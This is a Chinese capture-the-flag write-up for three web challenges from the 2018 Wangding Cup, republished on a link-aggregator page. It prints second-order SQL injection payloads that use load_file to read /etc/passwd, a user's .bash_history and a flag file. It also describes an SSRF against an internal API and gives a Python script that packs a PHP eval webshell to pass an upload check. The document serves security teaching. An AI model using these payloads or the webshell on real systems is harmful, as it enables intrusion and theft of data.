67

2018网鼎杯第四场Web题解

 5 years ago
source link: https://mochazz.github.io/2018/09/01/2018网鼎杯第四场/?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

题目界面如下,有发帖留言的功能,不过需要登录才能使用。

jaAfueJ.png!web

可以通过爆破得知账号密码为:zhangwei/zhangwei666

yYjqUvY.png!web

手工测试发现存在 .git 泄露,用 GitHack 下载泄露文件,发现 write_do.php 的代码不全。通过 git cat-file -p xxxxx 命令显示版本库对象的内容、类型及大小信息,可以看到完整的代码:

u2ENZfi.png!web

具体代码如下:

iMNBfeB.png!web

可以看到上面 第13-14 行都对 POST 传来 categorytitlecontent 三个参数进行了特殊字符转义,然而在 第28行第30-33行 处直接将从数据库中取出的数据,未经任何过滤拼接到 SQL语句 中,这就存在 二次注入

有很多人一直纠结 addslashes 这个转义函数,其实大家在数据库中测试一下就知道了,假设我们的 payload 为: ‘,content=user(),/* ,那么经过 addslashes 函数转义后,变成了 \‘,content=user(),/* ,我们看一下插入数据库中变成啥样:

MzQnQjv.png!web

所以根本就不影响我们进行二次注入。下面说说二次注入的攻击过程:

  • 先进入 write 方法,将 payload',content=user(),/* 插入 board 表的 category 字段中
  • 再进入 comment 方法,程序将 board 表中的 category 字段取出,没进行过滤,拼接到新的 insert 语句中。由于我们之前的 payload 中带有 /* ,所以我们需要闭合它,即我们在评论处提交 */# (对应 content 变量的值)
  • 然后程序执行 第二个SQL 语句,并将用户提交的 content 值显示出来,而我们的 payload',content=user(),/* 就会显示出当前用户。

Y77zi2a.png!web

BBrA3u6.png!web

看到是 root 用户,一般 flag 就不会在数据库里面(因为如果在数据库中,不需要这么高的权限,实际也确实没有),应该是要用 SQL语句 读取flag文件了。

首先读取 /etc/passwd 看看服务器上有哪些用户,payload为: ‘,content=(select load_file(‘/etc/passwd’)),/*

bEJv2uQ.png!web

发现存在 www 用户,继续查看 .bash_history 记录,payload为: ‘,content=(select load_file(‘/home/www/.bash_history’)),/*

bEr6j2m.png!web

发现 www 用户的一些操作。看见有 .DS_Store 文件,考虑到目标环境是docker,所以 .DS_Store 文件应该在 /tmp 中。而 .DS_Store 文件中,经常会有一些不可键字符,所以我们可以使用hex函数对其内容进行转换,payload为: ‘,content=(select hex(load_file(‘/tmp/html/.DS_Store’))),/*

uuuqayM.png!web

解码获得flag路径:

z67zUf6.png!web

使用payload: ‘,content=(select load_file(‘/var/www/html/flag_8946e1ff1ee3e40f.php’)),/* 读取flag:

NvY3uqE.png!web

blog

没啥意思的一道题目。题目是一个wordpress的站点,如下:

JJrABfM.png!web

查看图片的url,发现其url形式极其可能存在SSRF漏洞:

Yj6B3eE.png!web

通过 git 收集信息,可以发现一个内网用户查询接口。

2AzeMru.png!web

bUNfamF.png!web

api.php的内容为:

<?php
//http://10.220.56.29/WD_UserListAPI.php?uid=
?>

所以我们遍历uid的值即可获取用户信息。当uid值为233的时候,即可获得flag:

eM3m2iu.png!web

NoWafUpload

这题可以任意上传文件,题目如下:

IvqABbZ.png!web

当我们上传PHP一句话的时候,显示上传成功并返回路径,但是去访问就404。

YNzI7nb.png!web

一开始以为是时间竞争,尝试发现并不是。扫了一下目录,发现存在 www.zip文件,里面包含一个.so的拓展还有一个经过加密的PHP文件。所以考点应该是我们通过逆向来知道加密算法,然后将我们的一句话经过该加密算法加密后再上传,这样代码通过检测才能被解析。使用 IDA 反汇编 funencrypt.so 文件,发现关键函数,代码如下:

6zM3yiR.png!web

我们把经过加密的 sdfasgerwtytc.php 文件拖入16进制分析软件中,并根据上面的反汇编代码进行对比:

UZZN3yb.png!web

sdfasgerwtytc.php文件实际上就是一个 phpinfo 页面(上传上去访问就知道了),而上图中的的三个 fread 代码分别表示前32字节的字符串(这里刚好是一个md5值)、两个长度。一个为16进制 10 ,即整数16,猜测是代码: <?php phpinfo(); 的长度,后面一个为16进制16,即整数32,刚好是后面一段乱七八糟字符串的长度。

我们继续看35行以下的代码。首先先校验了开头读的md5,而这个md5的值就是后面那一串乱七八糟字符串的md5,这个自己计算一下就知道了。然后取那串乱七八糟的字符串逐位与 0xC 进行异或,并将其结果 uncompress 后写入某个文件。

EjQniqE.png!web

根据上面的逻辑,反推回去,写出加密PHP程序的代码。如下:

import hashlib,zlib
s = "<?php eval($_POST[_]);"
bf_len = hex(len(s))

compress_s = zlib.compress(s)

new_compress = ''
for ch in compress_s:
    new_compress += chr(ord(ch)^0xC)

MD5 = hashlib.md5()
MD5.update(new_compress)

print("MD5 : " + MD5.hexdigest().encode('hex'))
print("bf_len: " + bf_len)
af_len = hex(len(new_compress))
print("af_len: " + af_len)
print("new_compress: " + new_compress.encode('hex'))

将生成的16进制数据按顺序写入文件即可:

2YbAZjN.png!web

上传该文件,使用密码 _ 查找flag:

VBFjUj2.png!web


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK